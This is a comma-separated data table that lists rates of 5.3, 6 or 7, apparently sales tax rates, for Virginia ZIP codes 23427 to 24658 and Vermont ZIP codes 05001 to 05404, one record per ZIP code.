US-VA-23427,US,VA,23427,5.3,,,, US-VA-23429,US,VA,23429,5.3,,,, US-VA-23430,US,VA,23430,6,,,, US-VA-23431,US,VA,23431,6,,,, US-VA-23432,US,VA,23432,6,,,, US-VA-23433,US,VA,23433,6,,,, US-VA-23434,US,VA,23434,6,,,, US-VA-23435,US,VA,23435,6,,,, US-VA-23436,US,VA,23436,6,,,, US-VA-23437,US,VA,23437,6,,,, US-VA-23438,US,VA,23438,6,,,, US-VA-23439,US,VA,23439,6,,,, US-VA-23440,US,VA,23440,5.3,,,, US-VA-23441,US,VA,23441,5.3,,,, US-VA-23442,US,VA,23442,5.3,,,, US-VA-23443,US,VA,23443,5.3,,,, US-VA-23450,US,VA,23450,6,,,, US-VA-23451,US,VA,23451,6,,,, US-VA-23452,US,VA,23452,6,,,, US-VA-23453,US,VA,23453,6,,,, US-VA-23454,US,VA,23454,6,,,, US-VA-23455,US,VA,23455,6,,,, US-VA-23456,US,VA,23456,6,,,, US-VA-23457,US,VA,23457,6,,,, US-VA-23458,US,VA,23458,6,,,, US-VA-23459,US,VA,23459,6,,,, US-VA-23460,US,VA,23460,6,,,, US-VA-23461,US,VA,23461,6,,,, US-VA-23462,US,VA,23462,6,,,, US-VA-23463,US,VA,23463,6,,,, US-VA-23464,US,VA,23464,6,,,, US-VA-23465,US,VA,23465,6,,,, US-VA-23466,US,VA,23466,6,,,, US-VA-23467,US,VA,23467,6,,,, US-VA-23471,US,VA,23471,6,,,, US-VA-23479,US,VA,23479,6,,,, US-VA-23480,US,VA,23480,5.3,,,, US-VA-23482,US,VA,23482,5.3,,,, US-VA-23483,US,VA,23483,5.3,,,, US-VA-23486,US,VA,23486,5.3,,,, US-VA-23487,US,VA,23487,6,,,, US-VA-23488,US,VA,23488,5.3,,,, US-VA-23501,US,VA,23501,6,,,, US-VA-23502,US,VA,23502,6,,,, US-VA-23503,US,VA,23503,6,,,, US-VA-23504,US,VA,23504,6,,,, US-VA-23505,US,VA,23505,6,,,, US-VA-23506,US,VA,23506,6,,,, US-VA-23507,US,VA,23507,6,,,, US-VA-23508,US,VA,23508,6,,,, US-VA-23509,US,VA,23509,6,,,, US-VA-23510,US,VA,23510,6,,,, US-VA-23511,US,VA,23511,6,,,, US-VA-23513,US,VA,23513,6,,,, US-VA-23514,US,VA,23514,6,,,, US-VA-23515,US,VA,23515,6,,,, US-VA-23517,US,VA,23517,6,,,, US-VA-23518,US,VA,23518,6,,,, US-VA-23519,US,VA,23519,6,,,, US-VA-23520,US,VA,23520,6,,,, US-VA-23521,US,VA,23521,6,,,, US-VA-23523,US,VA,23523,6,,,, US-VA-23529,US,VA,23529,6,,,, US-VA-23541,US,VA,23541,6,,,, US-VA-23551,US,VA,23551,6,,,, US-VA-23601,US,VA,23601,6,,,, US-VA-23602,US,VA,23602,6,,,, US-VA-23603,US,VA,23603,6,,,, US-VA-23604,US,VA,23604,6,,,, US-VA-23605,US,VA,23605,6,,,, US-VA-23606,US,VA,23606,6,,,, US-VA-23607,US,VA,23607,6,,,, US-VA-23608,US,VA,23608,6,,,, US-VA-23609,US,VA,23609,6,,,, US-VA-23612,US,VA,23612,6,,,, US-VA-23628,US,VA,23628,6,,,, US-VA-23630,US,VA,23630,6,,,, US-VA-23651,US,VA,23651,6,,,, US-VA-23661,US,VA,23661,6,,,, US-VA-23662,US,VA,23662,6,,,, US-VA-23663,US,VA,23663,6,,,, US-VA-23664,US,VA,23664,6,,,, US-VA-23665,US,VA,23665,6,,,, US-VA-23666,US,VA,23666,6,,,, US-VA-23667,US,VA,23667,6,,,, US-VA-23668,US,VA,23668,6,,,, US-VA-23669,US,VA,23669,6,,,, US-VA-23670,US,VA,23670,6,,,, US-VA-23681,US,VA,23681,6,,,, US-VA-23690,US,VA,23690,6,,,, US-VA-23691,US,VA,23691,6,,,, US-VA-23692,US,VA,23692,6,,,, US-VA-23693,US,VA,23693,6,,,, US-VA-23694,US,VA,23694,6,,,, US-VA-23696,US,VA,23696,6,,,, US-VA-23701,US,VA,23701,6,,,, US-VA-23702,US,VA,23702,6,,,, US-VA-23703,US,VA,23703,6,,,, US-VA-23704,US,VA,23704,6,,,, US-VA-23705,US,VA,23705,6,,,, US-VA-23707,US,VA,23707,6,,,, US-VA-23708,US,VA,23708,6,,,, US-VA-23709,US,VA,23709,6,,,, US-VA-23801,US,VA,23801,5.3,,,, US-VA-23803,US,VA,23803,5.3,,,, US-VA-23804,US,VA,23804,5.3,,,, US-VA-23805,US,VA,23805,5.3,,,, US-VA-23806,US,VA,23806,5.3,,,, US-VA-23821,US,VA,23821,5.3,,,, US-VA-23822,US,VA,23822,5.3,,,, US-VA-23824,US,VA,23824,5.3,,,, US-VA-23827,US,VA,23827,6,,,, US-VA-23828,US,VA,23828,6,,,, US-VA-23829,US,VA,23829,6,,,, US-VA-23830,US,VA,23830,5.3,,,, US-VA-23831,US,VA,23831,5.3,,,, US-VA-23832,US,VA,23832,5.3,,,, US-VA-23833,US,VA,23833,5.3,,,, US-VA-23834,US,VA,23834,5.3,,,, US-VA-23836,US,VA,23836,5.3,,,, US-VA-23837,US,VA,23837,6,,,, US-VA-23838,US,VA,23838,5.3,,,, US-VA-23839,US,VA,23839,5.3,,,, US-VA-23840,US,VA,23840,5.3,,,, US-VA-23841,US,VA,23841,5.3,,,, US-VA-23842,US,VA,23842,5.3,,,, US-VA-23843,US,VA,23843,5.3,,,, US-VA-23844,US,VA,23844,6,,,, US-VA-23845,US,VA,23845,5.3,,,, US-VA-23846,US,VA,23846,5.3,,,, US-VA-23847,US,VA,23847,5.3,,,, US-VA-23850,US,VA,23850,5.3,,,, US-VA-23851,US,VA,23851,6,,,, US-VA-23856,US,VA,23856,5.3,,,, US-VA-23857,US,VA,23857,5.3,,,, US-VA-23860,US,VA,23860,5.3,,,, US-VA-23866,US,VA,23866,6,,,, US-VA-23867,US,VA,23867,5.3,,,, US-VA-23868,US,VA,23868,5.3,,,, US-VA-23870,US,VA,23870,5.3,,,, US-VA-23872,US,VA,23872,5.3,,,, US-VA-23874,US,VA,23874,6,,,, US-VA-23875,US,VA,23875,5.3,,,, US-VA-23876,US,VA,23876,5.3,,,, US-VA-23878,US,VA,23878,6,,,, US-VA-23879,US,VA,23879,5.3,,,, US-VA-23881,US,VA,23881,5.3,,,, US-VA-23882,US,VA,23882,5.3,,,, US-VA-23883,US,VA,23883,5.3,,,, US-VA-23884,US,VA,23884,5.3,,,, US-VA-23885,US,VA,23885,5.3,,,, US-VA-23887,US,VA,23887,5.3,,,, US-VA-23888,US,VA,23888,5.3,,,, US-VA-23889,US,VA,23889,5.3,,,, US-VA-23890,US,VA,23890,5.3,,,, US-VA-23891,US,VA,23891,5.3,,,, US-VA-23893,US,VA,23893,5.3,,,, US-VA-23894,US,VA,23894,5.3,,,, US-VA-23897,US,VA,23897,5.3,,,, US-VA-23898,US,VA,23898,6,,,, US-VA-23899,US,VA,23899,5.3,,,, US-VA-23901,US,VA,23901,5.3,,,, US-VA-23909,US,VA,23909,5.3,,,, US-VA-23915,US,VA,23915,5.3,,,, US-VA-23917,US,VA,23917,5.3,,,, US-VA-23919,US,VA,23919,5.3,,,, US-VA-23920,US,VA,23920,5.3,,,, US-VA-23921,US,VA,23921,5.3,,,, US-VA-23922,US,VA,23922,5.3,,,, US-VA-23923,US,VA,23923,5.3,,,, US-VA-23924,US,VA,23924,5.3,,,, US-VA-23927,US,VA,23927,5.3,,,, US-VA-23930,US,VA,23930,5.3,,,, US-VA-23934,US,VA,23934,5.3,,,, US-VA-23936,US,VA,23936,5.3,,,, US-VA-23937,US,VA,23937,5.3,,,, US-VA-23938,US,VA,23938,5.3,,,, US-VA-23939,US,VA,23939,5.3,,,, US-VA-23941,US,VA,23941,5.3,,,, US-VA-23942,US,VA,23942,5.3,,,, US-VA-23943,US,VA,23943,5.3,,,, US-VA-23944,US,VA,23944,5.3,,,, US-VA-23947,US,VA,23947,5.3,,,, US-VA-23950,US,VA,23950,5.3,,,, US-VA-23952,US,VA,23952,5.3,,,, US-VA-23954,US,VA,23954,5.3,,,, US-VA-23955,US,VA,23955,5.3,,,, US-VA-23958,US,VA,23958,5.3,,,, US-VA-23959,US,VA,23959,5.3,,,, US-VA-23960,US,VA,23960,5.3,,,, US-VA-23962,US,VA,23962,5.3,,,, US-VA-23963,US,VA,23963,5.3,,,, US-VA-23964,US,VA,23964,5.3,,,, US-VA-23966,US,VA,23966,5.3,,,, US-VA-23967,US,VA,23967,5.3,,,, US-VA-23968,US,VA,23968,5.3,,,, US-VA-23970,US,VA,23970,5.3,,,, US-VA-23974,US,VA,23974,5.3,,,, US-VA-23976,US,VA,23976,5.3,,,, US-VA-24001,US,VA,24001,5.3,,,, US-VA-24002,US,VA,24002,5.3,,,, US-VA-24003,US,VA,24003,5.3,,,, US-VA-24004,US,VA,24004,5.3,,,, US-VA-24005,US,VA,24005,5.3,,,, US-VA-24006,US,VA,24006,5.3,,,, US-VA-24007,US,VA,24007,5.3,,,, US-VA-24008,US,VA,24008,5.3,,,, US-VA-24009,US,VA,24009,5.3,,,, US-VA-24010,US,VA,24010,5.3,,,, US-VA-24011,US,VA,24011,5.3,,,, US-VA-24012,US,VA,24012,5.3,,,, US-VA-24013,US,VA,24013,5.3,,,, US-VA-24014,US,VA,24014,5.3,,,, US-VA-24015,US,VA,24015,5.3,,,, US-VA-24016,US,VA,24016,5.3,,,, US-VA-24017,US,VA,24017,5.3,,,, US-VA-24018,US,VA,24018,5.3,,,, US-VA-24019,US,VA,24019,5.3,,,, US-VA-24020,US,VA,24020,5.3,,,, US-VA-24022,US,VA,24022,5.3,,,, US-VA-24023,US,VA,24023,5.3,,,, US-VA-24024,US,VA,24024,5.3,,,, US-VA-24025,US,VA,24025,5.3,,,, US-VA-24026,US,VA,24026,5.3,,,, US-VA-24027,US,VA,24027,5.3,,,, US-VA-24028,US,VA,24028,5.3,,,, US-VA-24029,US,VA,24029,5.3,,,, US-VA-24030,US,VA,24030,5.3,,,, US-VA-24031,US,VA,24031,5.3,,,, US-VA-24032,US,VA,24032,5.3,,,, US-VA-24033,US,VA,24033,5.3,,,, US-VA-24034,US,VA,24034,5.3,,,, US-VA-24035,US,VA,24035,5.3,,,, US-VA-24036,US,VA,24036,5.3,,,, US-VA-24037,US,VA,24037,5.3,,,, US-VA-24038,US,VA,24038,5.3,,,, US-VA-24040,US,VA,24040,5.3,,,, US-VA-24042,US,VA,24042,5.3,,,, US-VA-24043,US,VA,24043,5.3,,,, US-VA-24050,US,VA,24050,5.3,,,, US-VA-24053,US,VA,24053,5.3,,,, US-VA-24054,US,VA,24054,5.3,,,, US-VA-24055,US,VA,24055,5.3,,,, US-VA-24058,US,VA,24058,5.3,,,, US-VA-24059,US,VA,24059,5.3,,,, US-VA-24060,US,VA,24060,5.3,,,, US-VA-24061,US,VA,24061,5.3,,,, US-VA-24062,US,VA,24062,5.3,,,, US-VA-24063,US,VA,24063,5.3,,,, US-VA-24064,US,VA,24064,5.3,,,, US-VA-24065,US,VA,24065,5.3,,,, US-VA-24066,US,VA,24066,5.3,,,, US-VA-24067,US,VA,24067,5.3,,,, US-VA-24068,US,VA,24068,5.3,,,, US-VA-24069,US,VA,24069,5.3,,,, US-VA-24070,US,VA,24070,5.3,,,, US-VA-24072,US,VA,24072,5.3,,,, US-VA-24073,US,VA,24073,5.3,,,, US-VA-24076,US,VA,24076,5.3,,,, US-VA-24077,US,VA,24077,5.3,,,, US-VA-24078,US,VA,24078,5.3,,,, US-VA-24079,US,VA,24079,5.3,,,, US-VA-24082,US,VA,24082,5.3,,,, US-VA-24083,US,VA,24083,5.3,,,, US-VA-24084,US,VA,24084,5.3,,,, US-VA-24085,US,VA,24085,5.3,,,, US-VA-24086,US,VA,24086,5.3,,,, US-VA-24087,US,VA,24087,5.3,,,, US-VA-24088,US,VA,24088,5.3,,,, US-VA-24089,US,VA,24089,5.3,,,, US-VA-24090,US,VA,24090,5.3,,,, US-VA-24091,US,VA,24091,5.3,,,, US-VA-24092,US,VA,24092,5.3,,,, US-VA-24093,US,VA,24093,5.3,,,, US-VA-24095,US,VA,24095,5.3,,,, US-VA-24101,US,VA,24101,5.3,,,, US-VA-24102,US,VA,24102,5.3,,,, US-VA-24104,US,VA,24104,5.3,,,, US-VA-24105,US,VA,24105,5.3,,,, US-VA-24112,US,VA,24112,5.3,,,, US-VA-24113,US,VA,24113,5.3,,,, US-VA-24114,US,VA,24114,5.3,,,, US-VA-24115,US,VA,24115,5.3,,,, US-VA-24120,US,VA,24120,5.3,,,, US-VA-24121,US,VA,24121,5.3,,,, US-VA-24122,US,VA,24122,5.3,,,, US-VA-24124,US,VA,24124,5.3,,,, US-VA-24127,US,VA,24127,5.3,,,, US-VA-24128,US,VA,24128,5.3,,,, US-VA-24129,US,VA,24129,5.3,,,, US-VA-24130,US,VA,24130,5.3,,,, US-VA-24131,US,VA,24131,5.3,,,, US-VA-24132,US,VA,24132,5.3,,,, US-VA-24133,US,VA,24133,5.3,,,, US-VA-24134,US,VA,24134,5.3,,,, US-VA-24136,US,VA,24136,5.3,,,, US-VA-24137,US,VA,24137,5.3,,,, US-VA-24138,US,VA,24138,5.3,,,, US-VA-24139,US,VA,24139,5.3,,,, US-VA-24141,US,VA,24141,5.3,,,, US-VA-24142,US,VA,24142,5.3,,,, US-VA-24143,US,VA,24143,5.3,,,, US-VA-24146,US,VA,24146,5.3,,,, US-VA-24147,US,VA,24147,5.3,,,, US-VA-24148,US,VA,24148,5.3,,,, US-VA-24149,US,VA,24149,5.3,,,, US-VA-24150,US,VA,24150,5.3,,,, US-VA-24151,US,VA,24151,5.3,,,, US-VA-24153,US,VA,24153,5.3,,,, US-VA-24155,US,VA,24155,5.3,,,, US-VA-24157,US,VA,24157,5.3,,,, US-VA-24161,US,VA,24161,5.3,,,, US-VA-24162,US,VA,24162,5.3,,,, US-VA-24165,US,VA,24165,5.3,,,, US-VA-24167,US,VA,24167,5.3,,,, US-VA-24168,US,VA,24168,5.3,,,, US-VA-24171,US,VA,24171,5.3,,,, US-VA-24174,US,VA,24174,5.3,,,, US-VA-24175,US,VA,24175,5.3,,,, US-VA-24176,US,VA,24176,5.3,,,, US-VA-24177,US,VA,24177,5.3,,,, US-VA-24178,US,VA,24178,5.3,,,, US-VA-24179,US,VA,24179,5.3,,,, US-VA-24184,US,VA,24184,5.3,,,, US-VA-24185,US,VA,24185,5.3,,,, US-VA-24201,US,VA,24201,5.3,,,, US-VA-24202,US,VA,24202,5.3,,,, US-VA-24203,US,VA,24203,5.3,,,, US-VA-24205,US,VA,24205,5.3,,,, US-VA-24209,US,VA,24209,5.3,,,, US-VA-24210,US,VA,24210,5.3,,,, US-VA-24211,US,VA,24211,5.3,,,, US-VA-24212,US,VA,24212,5.3,,,, US-VA-24215,US,VA,24215,5.3,,,, US-VA-24216,US,VA,24216,5.3,,,, US-VA-24217,US,VA,24217,5.3,,,, US-VA-24218,US,VA,24218,5.3,,,, US-VA-24219,US,VA,24219,5.3,,,, US-VA-24220,US,VA,24220,5.3,,,, US-VA-24221,US,VA,24221,5.3,,,, US-VA-24224,US,VA,24224,5.3,,,, US-VA-24225,US,VA,24225,5.3,,,, US-VA-24226,US,VA,24226,5.3,,,, US-VA-24228,US,VA,24228,5.3,,,, US-VA-24230,US,VA,24230,5.3,,,, US-VA-24236,US,VA,24236,5.3,,,, US-VA-24237,US,VA,24237,5.3,,,, US-VA-24239,US,VA,24239,5.3,,,, US-VA-24243,US,VA,24243,5.3,,,, US-VA-24244,US,VA,24244,5.3,,,, US-VA-24245,US,VA,24245,5.3,,,, US-VA-24246,US,VA,24246,5.3,,,, US-VA-24248,US,VA,24248,5.3,,,, US-VA-24250,US,VA,24250,5.3,,,, US-VA-24251,US,VA,24251,5.3,,,, US-VA-24256,US,VA,24256,5.3,,,, US-VA-24258,US,VA,24258,5.3,,,, US-VA-24260,US,VA,24260,5.3,,,, US-VA-24263,US,VA,24263,5.3,,,, US-VA-24265,US,VA,24265,5.3,,,, US-VA-24266,US,VA,24266,5.3,,,, US-VA-24269,US,VA,24269,5.3,,,, US-VA-24270,US,VA,24270,5.3,,,, US-VA-24271,US,VA,24271,5.3,,,, US-VA-24272,US,VA,24272,5.3,,,, US-VA-24273,US,VA,24273,5.3,,,, US-VA-24277,US,VA,24277,5.3,,,, US-VA-24279,US,VA,24279,5.3,,,, US-VA-24280,US,VA,24280,5.3,,,, US-VA-24281,US,VA,24281,5.3,,,, US-VA-24282,US,VA,24282,5.3,,,, US-VA-24283,US,VA,24283,5.3,,,, US-VA-24290,US,VA,24290,5.3,,,, US-VA-24292,US,VA,24292,5.3,,,, US-VA-24293,US,VA,24293,5.3,,,, US-VA-24301,US,VA,24301,5.3,,,, US-VA-24311,US,VA,24311,5.3,,,, US-VA-24312,US,VA,24312,5.3,,,, US-VA-24313,US,VA,24313,5.3,,,, US-VA-24314,US,VA,24314,5.3,,,, US-VA-24315,US,VA,24315,5.3,,,, US-VA-24316,US,VA,24316,5.3,,,, US-VA-24317,US,VA,24317,5.3,,,, US-VA-24318,US,VA,24318,5.3,,,, US-VA-24319,US,VA,24319,5.3,,,, US-VA-24322,US,VA,24322,5.3,,,, US-VA-24323,US,VA,24323,5.3,,,, US-VA-24324,US,VA,24324,5.3,,,, US-VA-24325,US,VA,24325,5.3,,,, US-VA-24326,US,VA,24326,5.3,,,, US-VA-24327,US,VA,24327,5.3,,,, US-VA-24328,US,VA,24328,5.3,,,, US-VA-24330,US,VA,24330,5.3,,,, US-VA-24333,US,VA,24333,5.3,,,, US-VA-24340,US,VA,24340,5.3,,,, US-VA-24343,US,VA,24343,5.3,,,, US-VA-24347,US,VA,24347,5.3,,,, US-VA-24348,US,VA,24348,5.3,,,, US-VA-24350,US,VA,24350,5.3,,,, US-VA-24351,US,VA,24351,5.3,,,, US-VA-24352,US,VA,24352,5.3,,,, US-VA-24354,US,VA,24354,5.3,,,, US-VA-24360,US,VA,24360,5.3,,,, US-VA-24361,US,VA,24361,5.3,,,, US-VA-24363,US,VA,24363,5.3,,,, US-VA-24366,US,VA,24366,5.3,,,, US-VA-24368,US,VA,24368,5.3,,,, US-VA-24370,US,VA,24370,5.3,,,, US-VA-24374,US,VA,24374,5.3,,,, US-VA-24375,US,VA,24375,5.3,,,, US-VA-24377,US,VA,24377,5.3,,,, US-VA-24378,US,VA,24378,5.3,,,, US-VA-24380,US,VA,24380,5.3,,,, US-VA-24381,US,VA,24381,5.3,,,, US-VA-24382,US,VA,24382,5.3,,,, US-VA-24401,US,VA,24401,5.3,,,, US-VA-24402,US,VA,24402,5.3,,,, US-VA-24411,US,VA,24411,5.3,,,, US-VA-24412,US,VA,24412,5.3,,,, US-VA-24413,US,VA,24413,5.3,,,, US-VA-24415,US,VA,24415,5.3,,,, US-VA-24416,US,VA,24416,5.3,,,, US-VA-24421,US,VA,24421,5.3,,,, US-VA-24422,US,VA,24422,5.3,,,, US-VA-24426,US,VA,24426,5.3,,,, US-VA-24430,US,VA,24430,5.3,,,, US-VA-24431,US,VA,24431,5.3,,,, US-VA-24432,US,VA,24432,5.3,,,, US-VA-24433,US,VA,24433,5.3,,,, US-VA-24435,US,VA,24435,5.3,,,, US-VA-24437,US,VA,24437,5.3,,,, US-VA-24438,US,VA,24438,5.3,,,, US-VA-24439,US,VA,24439,5.3,,,, US-VA-24440,US,VA,24440,5.3,,,, US-VA-24441,US,VA,24441,5.3,,,, US-VA-24442,US,VA,24442,5.3,,,, US-VA-24445,US,VA,24445,5.3,,,, US-VA-24448,US,VA,24448,5.3,,,, US-VA-24450,US,VA,24450,5.3,,,, US-VA-24457,US,VA,24457,5.3,,,, US-VA-24458,US,VA,24458,5.3,,,, US-VA-24459,US,VA,24459,5.3,,,, US-VA-24460,US,VA,24460,5.3,,,, US-VA-24463,US,VA,24463,5.3,,,, US-VA-24464,US,VA,24464,5.3,,,, US-VA-24465,US,VA,24465,5.3,,,, US-VA-24467,US,VA,24467,5.3,,,, US-VA-24468,US,VA,24468,5.3,,,, US-VA-24469,US,VA,24469,5.3,,,, US-VA-24471,US,VA,24471,5.3,,,, US-VA-24472,US,VA,24472,5.3,,,, US-VA-24473,US,VA,24473,5.3,,,, US-VA-24474,US,VA,24474,5.3,,,, US-VA-24476,US,VA,24476,5.3,,,, US-VA-24477,US,VA,24477,5.3,,,, US-VA-24479,US,VA,24479,5.3,,,, US-VA-24482,US,VA,24482,5.3,,,, US-VA-24483,US,VA,24483,5.3,,,, US-VA-24484,US,VA,24484,5.3,,,, US-VA-24485,US,VA,24485,5.3,,,, US-VA-24486,US,VA,24486,5.3,,,, US-VA-24487,US,VA,24487,5.3,,,, US-VA-24501,US,VA,24501,5.3,,,, US-VA-24502,US,VA,24502,5.3,,,, US-VA-24503,US,VA,24503,5.3,,,, US-VA-24504,US,VA,24504,5.3,,,, US-VA-24505,US,VA,24505,5.3,,,, US-VA-24506,US,VA,24506,5.3,,,, US-VA-24513,US,VA,24513,5.3,,,, US-VA-24514,US,VA,24514,5.3,,,, US-VA-24515,US,VA,24515,5.3,,,, US-VA-24517,US,VA,24517,5.3,,,, US-VA-24520,US,VA,24520,5.3,,,, US-VA-24521,US,VA,24521,5.3,,,, US-VA-24522,US,VA,24522,5.3,,,, US-VA-24523,US,VA,24523,5.3,,,, US-VA-24526,US,VA,24526,5.3,,,, US-VA-24527,US,VA,24527,5.3,,,, US-VA-24528,US,VA,24528,5.3,,,, US-VA-24529,US,VA,24529,5.3,,,, US-VA-24530,US,VA,24530,5.3,,,, US-VA-24531,US,VA,24531,5.3,,,, US-VA-24533,US,VA,24533,5.3,,,, US-VA-24534,US,VA,24534,5.3,,,, US-VA-24535,US,VA,24535,5.3,,,, US-VA-24536,US,VA,24536,5.3,,,, US-VA-24538,US,VA,24538,5.3,,,, US-VA-24539,US,VA,24539,5.3,,,, US-VA-24540,US,VA,24540,5.3,,,, US-VA-24541,US,VA,24541,5.3,,,, US-VA-24543,US,VA,24543,5.3,,,, US-VA-24549,US,VA,24549,5.3,,,, US-VA-24550,US,VA,24550,5.3,,,, US-VA-24551,US,VA,24551,5.3,,,, US-VA-24553,US,VA,24553,5.3,,,, US-VA-24554,US,VA,24554,5.3,,,, US-VA-24555,US,VA,24555,5.3,,,, US-VA-24556,US,VA,24556,5.3,,,, US-VA-24557,US,VA,24557,5.3,,,, US-VA-24558,US,VA,24558,5.3,,,, US-VA-24562,US,VA,24562,5.3,,,, US-VA-24563,US,VA,24563,5.3,,,, US-VA-24565,US,VA,24565,5.3,,,, US-VA-24566,US,VA,24566,5.3,,,, US-VA-24569,US,VA,24569,5.3,,,, US-VA-24570,US,VA,24570,5.3,,,, US-VA-24571,US,VA,24571,5.3,,,, US-VA-24572,US,VA,24572,5.3,,,, US-VA-24574,US,VA,24574,5.3,,,, US-VA-24576,US,VA,24576,5.3,,,, US-VA-24577,US,VA,24577,5.3,,,, US-VA-24578,US,VA,24578,5.3,,,, US-VA-24579,US,VA,24579,5.3,,,, US-VA-24580,US,VA,24580,5.3,,,, US-VA-24581,US,VA,24581,5.3,,,, US-VA-24586,US,VA,24586,5.3,,,, US-VA-24588,US,VA,24588,5.3,,,, US-VA-24589,US,VA,24589,5.3,,,, US-VA-24590,US,VA,24590,5.3,,,, US-VA-24592,US,VA,24592,5.3,,,, US-VA-24593,US,VA,24593,5.3,,,, US-VA-24594,US,VA,24594,5.3,,,, US-VA-24595,US,VA,24595,5.3,,,, US-VA-24597,US,VA,24597,5.3,,,, US-VA-24598,US,VA,24598,5.3,,,, US-VA-24599,US,VA,24599,5.3,,,, US-VA-24601,US,VA,24601,5.3,,,, US-VA-24602,US,VA,24602,5.3,,,, US-VA-24603,US,VA,24603,5.3,,,, US-VA-24604,US,VA,24604,5.3,,,, US-VA-24605,US,VA,24605,5.3,,,, US-VA-24606,US,VA,24606,5.3,,,, US-VA-24607,US,VA,24607,5.3,,,, US-VA-24608,US,VA,24608,5.3,,,, US-VA-24609,US,VA,24609,5.3,,,, US-VA-24612,US,VA,24612,5.3,,,, US-VA-24613,US,VA,24613,5.3,,,, US-VA-24614,US,VA,24614,5.3,,,, US-VA-24619,US,VA,24619,5.3,,,, US-VA-24620,US,VA,24620,5.3,,,, US-VA-24622,US,VA,24622,5.3,,,, US-VA-24624,US,VA,24624,5.3,,,, US-VA-24628,US,VA,24628,5.3,,,, US-VA-24630,US,VA,24630,5.3,,,, US-VA-24631,US,VA,24631,5.3,,,, US-VA-24634,US,VA,24634,5.3,,,, US-VA-24635,US,VA,24635,5.3,,,, US-VA-24637,US,VA,24637,5.3,,,, US-VA-24639,US,VA,24639,5.3,,,, US-VA-24640,US,VA,24640,5.3,,,, US-VA-24641,US,VA,24641,5.3,,,, US-VA-24646,US,VA,24646,5.3,,,, US-VA-24647,US,VA,24647,5.3,,,, US-VA-24649,US,VA,24649,5.3,,,, US-VA-24651,US,VA,24651,5.3,,,, US-VA-24656,US,VA,24656,5.3,,,, US-VA-24657,US,VA,24657,5.3,,,, US-VA-24658,US,VA,24658,5.3,,,, US-VT-05001,US,VT,05001,6,,,, US-VT-05009,US,VT,05009,6,,,, US-VT-05030,US,VT,05030,6,,,, US-VT-05031,US,VT,05031,6,,,, US-VT-05032,US,VT,05032,6,,,, US-VT-05033,US,VT,05033,6,,,, US-VT-05034,US,VT,05034,6,,,, US-VT-05035,US,VT,05035,6,,,, US-VT-05036,US,VT,05036,6,,,, US-VT-05037,US,VT,05037,6,,,, US-VT-05038,US,VT,05038,6,,,, US-VT-05039,US,VT,05039,6,,,, US-VT-05040,US,VT,05040,6,,,, US-VT-05041,US,VT,05041,6,,,, US-VT-05042,US,VT,05042,6,,,, US-VT-05043,US,VT,05043,6,,,, US-VT-05045,US,VT,05045,6,,,, US-VT-05046,US,VT,05046,6,,,, US-VT-05047,US,VT,05047,6,,,, US-VT-05048,US,VT,05048,6,,,, US-VT-05049,US,VT,05049,6,,,, US-VT-05050,US,VT,05050,6,,,, US-VT-05051,US,VT,05051,6,,,, US-VT-05052,US,VT,05052,6,,,, US-VT-05053,US,VT,05053,6,,,, US-VT-05054,US,VT,05054,6,,,, US-VT-05055,US,VT,05055,6,,,, US-VT-05056,US,VT,05056,6,,,, US-VT-05058,US,VT,05058,6,,,, US-VT-05059,US,VT,05059,6,,,, US-VT-05060,US,VT,05060,6,,,, US-VT-05061,US,VT,05061,6,,,, US-VT-05062,US,VT,05062,6,,,, US-VT-05065,US,VT,05065,6,,,, US-VT-05067,US,VT,05067,6,,,, US-VT-05068,US,VT,05068,6,,,, US-VT-05069,US,VT,05069,6,,,, US-VT-05070,US,VT,05070,6,,,, US-VT-05071,US,VT,05071,6,,,, US-VT-05072,US,VT,05072,6,,,, US-VT-05073,US,VT,05073,6,,,, US-VT-05074,US,VT,05074,6,,,, US-VT-05075,US,VT,05075,6,,,, US-VT-05076,US,VT,05076,6,,,, US-VT-05077,US,VT,05077,6,,,, US-VT-05079,US,VT,05079,6,,,, US-VT-05081,US,VT,05081,6,,,, US-VT-05083,US,VT,05083,6,,,, US-VT-05084,US,VT,05084,6,,,, US-VT-05085,US,VT,05085,6,,,, US-VT-05086,US,VT,05086,6,,,, US-VT-05088,US,VT,05088,6,,,, US-VT-05089,US,VT,05089,6,,,, US-VT-05091,US,VT,05091,6,,,, US-VT-05101,US,VT,05101,6,,,, US-VT-05141,US,VT,05141,6,,,, US-VT-05142,US,VT,05142,6,,,, US-VT-05143,US,VT,05143,6,,,, US-VT-05144,US,VT,05144,6,,,, US-VT-05146,US,VT,05146,6,,,, US-VT-05148,US,VT,05148,6,,,, US-VT-05149,US,VT,05149,6,,,, US-VT-05150,US,VT,05150,6,,,, US-VT-05151,US,VT,05151,6,,,, US-VT-05152,US,VT,05152,6,,,, US-VT-05153,US,VT,05153,6,,,, US-VT-05154,US,VT,05154,6,,,, US-VT-05155,US,VT,05155,6,,,, US-VT-05156,US,VT,05156,6,,,, US-VT-05158,US,VT,05158,6,,,, US-VT-05159,US,VT,05159,6,,,, US-VT-05161,US,VT,05161,6,,,, US-VT-05201,US,VT,05201,6,,,, US-VT-05250,US,VT,05250,6,,,, US-VT-05251,US,VT,05251,6,,,, US-VT-05252,US,VT,05252,6,,,, US-VT-05253,US,VT,05253,6,,,, US-VT-05254,US,VT,05254,7,,,, US-VT-05255,US,VT,05255,7,,,, US-VT-05257,US,VT,05257,6,,,, US-VT-05260,US,VT,05260,6,,,, US-VT-05261,US,VT,05261,6,,,, US-VT-05262,US,VT,05262,6,,,, US-VT-05301,US,VT,05301,6,,,, US-VT-05302,US,VT,05302,6,,,, US-VT-05303,US,VT,05303,6,,,, US-VT-05304,US,VT,05304,6,,,, US-VT-05340,US,VT,05340,7,,,, US-VT-05341,US,VT,05341,7,,,, US-VT-05342,US,VT,05342,6,,,, US-VT-05343,US,VT,05343,6,,,, US-VT-05344,US,VT,05344,6,,,, US-VT-05345,US,VT,05345,6,,,, US-VT-05346,US,VT,05346,6,,,, US-VT-05350,US,VT,05350,6,,,, US-VT-05351,US,VT,05351,6,,,, US-VT-05352,US,VT,05352,6,,,, US-VT-05353,US,VT,05353,6,,,, US-VT-05354,US,VT,05354,6,,,, US-VT-05355,US,VT,05355,6,,,, US-VT-05356,US,VT,05356,7,,,, US-VT-05357,US,VT,05357,6,,,, US-VT-05358,US,VT,05358,6,,,, US-VT-05359,US,VT,05359,6,,,, US-VT-05360,US,VT,05360,7,,,, US-VT-05361,US,VT,05361,6,,,, US-VT-05362,US,VT,05362,6,,,, US-VT-05363,US,VT,05363,7,,,, US-VT-05401,US,VT,05401,7,,,, US-VT-05402,US,VT,05402,7,,,, US-VT-05403,US,VT,05403,7,,,, US-VT-05404,US,VT,05404,6,,,, 